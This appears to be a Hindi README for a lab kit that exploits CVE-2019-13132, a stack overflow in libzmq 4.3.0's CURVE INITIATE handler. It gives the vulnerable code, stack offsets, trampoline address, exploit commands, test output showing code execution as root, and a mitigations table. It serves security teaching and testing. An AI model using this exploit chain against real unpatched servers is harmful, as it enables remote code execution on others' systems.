
CVE-2019-13132 — libzmq CURVE INITIATE स्टैक ओवरफ्लो → RCE. कार्यशील एक्सप्लॉइट + डॉकर लैब।
CVE-2019-13132 के लिए पूर्ण-अंत तक काम करने वाला RCE एक्सप्लॉइट + पुनरुत्पादन योग्य लैब, जो libzmq के CURVE INITIATE हैंडशेक हैंडलर में स्टैक बफ़र ओवरफ़्लो है। एक हमलावर जो सर्वर की दीर्घकालिक सार्वजनिक कुंजी (जो डिज़ाइन के अनुसार एक सार्वजनिक पैरामीटर है) जानता है, वह process_initiate() में एक निश्चित-आकार के स्टैक बफ़र को ओवरफ़्लो कर सकता है, सेव किए गए रिटर्न एड्रेस को अधिलेखित कर सकता है, और निष्पादन को मनमाने कोड की ओर पुनर्निर्देशित कर सकता है।
द्वारा: Nicolas Krassas (@dinosn).
केवल लैब उपयोग हेतु। इस किट के साथ जानबूझकर कमजोर libzmq 4.3.0 शामिल है और mitigations अक्षम किए गए हैं। पोर्ट 5556 को लैब के बाहर एक्सपोज़ न करें। यह बग libzmq 4.3.2 में ठीक किया गया था।
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
स्वचालित स्मोक टेस्ट (एक्सप्लॉइट चलाता है + प्रूफ फ़ाइल सत्यापित करता है):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box एक 416-बाइट का स्टैक-आवंटित बफ़र है। memcpy size - 113 बाइट्स को 400-बाइट पेलोड क्षेत्र (ऑफ़सेट 16..415) में लिखता है। कोई भी INITIATE जिसका size > 513 है, बफ़र के पार सेव किए गए callee रजिस्टरों और रिटर्न एड्रेस में ओवरफ़्लो हो जाता है।
कुकी सत्यापन ओवरफ़्लो से पहले होता है, इसलिए INITIATE में एक वास्तविक कुकी होनी चाहिए — लेकिन कुकी पिछले WELCOME संदेश से केवल सर्वर की दीर्घकालिक सार्वजनिक कुंजी का उपयोग करके प्राप्त की जाती है।
CURVE प्रोटोकॉल इस तरह डिज़ाइन किया गया है कि क्लाइंट के पास पहले से ही सर्वर की दीर्घकालिक सार्वजनिक कुंजी होती है (यह कनेक्शन URI या कॉन्फ़िगरेशन में होती है)। एक्सप्लॉइट:
memcpy सक्रिय हो जाता है।कोई एप्लिकेशन-स्तरीय क्रेडेंशियल नहीं। कोई ZAP प्रमाणीकरण बायपास नहीं। ओवरफ़्लो CURVE कुंजी-विनिमय के दौरान सक्रिय होता है, एप्लिकेशन द्वारा पीयर को देखने से पहले ही।
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
एक्सप्लॉइट 464 बाइट्स का पेलोड भेजता है: रिटर्न एड्रेस तक पहुँचने के लिए 456 बाइट्स भराव (0x41), फिर 8 बाइट्स जिनमें lab_trampoline() का पता होता है।
ओवरफ़्लो के बाद, crypto_box_open() विफल हो जाता है (ओवरफ़्लो हुआ डेटा कूड़ा-कचरा सिफरटेक्स्ट है)। त्रुटि पथ विफलता को लॉग करता है, errno सेट करता है, और -1 लौटाता है — लेकिन त्रुटि पथ केवल ओवरफ़्लो क्षेत्र के नीचे स्थित स्टैक स्थानों (RSP+0xe0, RSP+0xf0, RSP+0x280) तक पहुँचता है, इसलिए यह दूषित स्टैक के साथ साफ-सुथरा चलता है।
फ़ंक्शन एपिलॉग (add $0x628,%rsp; pop rbx-r15; ret) दूषित सेव किए गए रजिस्टरों (अब 0x4141414141414141) को पॉप करता है और फिर ret हमारे ट्रैम्पोलिन पते को लोड करता है।
lab_trampoline() प्रूफ फ़ाइल लिखने के लिए कच्चे syscalls का उपयोग करता है (कोई libc नहीं, कोई fork() नहीं):
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
system() / fork() के बजाय कच्चे syscalls का उपयोग इसलिए किया जाता है क्योंकि process_initiate() libzmq के I/O थ्रेड पर चलता है — एक मल्टी-थ्रेडेड प्रक्रिया में गैर-मुख्य थ्रेड से fork() कॉल करना glibc के pthread_atfork लॉक हैंडलरों पर डेडलॉक उत्पन्न करता है।
सर्वर की दीर्घकालिक सार्वजनिक कुंजी CurveZMQ प्रोटोकॉल में एक सार्वजनिक पैरामीटर है — क्लाइंट्स को कनेक्ट करने के लिए इसे पास करना होता है। यह आमतौर पर कॉन्फ़िगरेशन फ़ाइलों, URIs, या डिस्कवरी तंत्रों में वितरित की जाती है। एक्सप्लॉइट को किसी गोपनीय सामग्री की आवश्यकता नहीं होती।
एक्सप्लॉइट को दो मानों की आवश्यकता होती है:
| फ़ील्ड | मान | स्रोत |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (गैर-PIE बाइनरी, निश्चित पता) |
offset_to_ret | 456 | process_initiate का डिसअसेंबली (0x658 - 0x490) |
दोनों को exploit.py में Docker लैब बिल्ड (Debian 12, gcc 12, libzmq 4.3.0) के लिए अंतर्निहित डिफ़ॉल्ट के रूप में हार्डकोड किया गया है। किसी कैलिब्रेशन चरण की आवश्यकता नहीं है — बस एक्सप्लॉइट चलाएँ:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
निर्धारण प्राथमिकता: --trampoline/--offset फ़्लैग → --profile फ़ाइल → /opt/zmq-curve-rce/profile.json → अंतर्निहित डिफ़ॉल्ट।
ZMTP में कोई इंट्रोस्पेक्शन API नहीं है। ग्रीटिंग केवल प्रोटोकॉल संस्करण (3.x) और तंत्र (CURVE) प्रकट करता है — libzmq बिल्ड, कंपाइलर, या बाइनरी लेआउट के बारे में कुछ नहीं। कोई रनटाइम-सुलभ बिल्ड पहचानकर्ता नहीं है जो अज्ञात लक्ष्यों के विरुद्ध स्वचालित ऑफ़सेट चयन की अनुमति दे।
calibrate.sh / compute_offsets.py स्क्रिप्ट विभिन्न डिस्ट्रो या gcc संस्करणों पर पुनर्निर्माण के लिए प्रदान की गई हैं, जहाँ ट्रैम्पोलिन पता स्थानांतरित हो सकता है। Docker लैब के भीतर वे स्वचालित रूप से चलती हैं लेकिन आवश्यक नहीं हैं।
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| बचाव | प्रभाव |
|---|---|
| libzmq >= 4.3.2 में अपग्रेड करें | ठीक हो गया। memcpy से पहले INITIATE आकार पर ऊपरी-सीमा जाँच जोड़ता है। |
स्टैक कैनरी (-fstack-protector) | ओवरफ़्लो का पता लगाता है फ़ंक्शन के लौटने से पहले। कैनरी स्थानीय चर और सेव रजिस्टरों के बीच बैठता है; ओवरफ़्लो इसे दूषित करता है, जिससे __stack_chk_fail ट्रिगर होता है। |
| ASLR | साझा-लाइब्रेरी और स्टैक पतों को यादृच्छिक करता है। ट्रैम्पोलिन एक गैर-PIE बाइनरी में है (निश्चित पता), लेकिन एक प्रोडक्शन सर्वर PIE होगा, जिसके लिए जानकारी लीक की आवश्यकता होगी। |
| PIE | सर्वर बाइनरी के लोड पते को यादृच्छिक करता है। लीक के बिना ट्रैम्पोलिन पता अब पूर्वानुमान योग्य नहीं होगा। |
| NX | यहाँ प्रासंगिक नहीं — कोई शेलकोड इंजेक्ट नहीं किया जाता; एक्सप्लॉइट मौजूदा कोड को कॉल करता है। |
| ZAP / एप्लिकेशन-स्तरीय प्रमाणीकरण | मदद नहीं करता — ओवरफ़्लो CURVE कुंजी-विनिमय के दौरान सक्रिय होता है, ZAP से परामर्श से पहले। |
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # restore ASLR
Nicolas Krassas — @dinosn
MIT. जानबूझकर कमजोर libzmq 4.3.0 स्रोत बिल्ड समय पर अपस्ट्रीम LGPLv3-with-exceptions / MPLv2 रिपॉजिटरी से प्राप्त किया जाता है।
केवल रक्षात्मक सुरक्षा अनुसंधान, शिक्षा, और अधिकृत सुरक्षा परीक्षण के लिए। बंडल किए गए कमजोर बिल्ड को किसी नियंत्रित लैब वातावरण के बाहर तैनात न करें।